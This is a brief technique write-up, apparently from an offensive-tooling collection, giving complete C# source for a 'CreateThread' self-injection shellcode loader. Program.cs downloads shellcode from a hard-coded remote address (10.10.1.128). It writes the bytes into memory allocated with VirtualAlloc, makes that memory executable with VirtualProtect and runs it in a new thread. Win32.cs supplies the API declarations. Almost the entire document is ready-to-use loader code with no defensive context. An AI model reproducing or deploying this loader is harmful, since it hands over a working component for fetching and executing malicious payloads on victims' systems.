# CreateThread Most simple injection technique, performs a self injection into the current running process. Shellcode is executed inline. `program.cs` ```csharp using System; using System.Net.Http; using System.Runtime.InteropServices; using System.Threading.Tasks; namespace CreateThread { internal class Program { static async Task Main(string[] args) { byte[] shellcode; var addr = "http://10.10.1.128/shellcode.bin"; using (var client = new HttpClient()) { shellcode = await client.GetByteArrayAsync(addr); } // allocate base addr as RW var baseAddr = Win32.VirtualAlloc( IntPtr.Zero, (uint)shellcode.Length, Win32.AllocationType.Commit | Win32.AllocationType.Reserve, Win32.MemoryProtection.ReadWrite); // copy shellcode into mem Marshal.Copy(shellcode, 0, baseAddr, shellcode.Length); // Flip mem protections from RW to RX with VirtualProtect. Dispose of the call with `out _` Win32.VirtualProtect( baseAddr, (uint)shellcode.Length, Win32.MemoryProtection.ExecuteRead, out _); // Call CreateThread var hThread = Win32.CreateThread( IntPtr.Zero, 0, baseAddr, IntPtr.Zero, 0, out _); // CreateThread is not a blocking call, so we wait on the thread indefinitely with WaitForSingleObject. This blocks for as long as the thread is running Win32.WaitForSingleObject(hThread, 0xFFFFFFFF); } } } ``` `Win32.cs` ```csharp using System; using System.Runtime.InteropServices; namespace CreateThread { internal class Win32 { [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc( IntPtr lpAddress, uint dwSize, AllocationType flAllocationType, MemoryProtection flProtect); [DllImport("kernel32.dll")] public static extern IntPtr CreateThread( IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out IntPtr lpThreadId); [DllImport("kernel32.dll")] public static extern bool VirtualProtect( IntPtr lpAddress, uint dwSize, MemoryProtection flNewProtect, out MemoryProtection lpflOldProtect); [DllImport("kernel32.dll")] public static extern uint WaitForSingleObject( IntPtr hHandle, uint dwMilliseconds); [Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000, Decommit = 0x4000, Release = 0x8000, Reset = 0x80000, Physical = 0x400000, TopDown = 0x100000, WriteWatch = 0x200000, LargePages = 0x20000000 } [Flags] public enum MemoryProtection { Execute = 0x10, ExecuteRead = 0x20, ExecuteReadWrite = 0x40, ExecuteWriteCopy = 0x80, NoAccess = 0x01, ReadOnly = 0x02, ReadWrite = 0x04, WriteCopy = 0x08, GuardModifierflag = 0x100, NoCacheModifierflag = 0x200, WriteCombineModifierflag = 0x400 } } } ```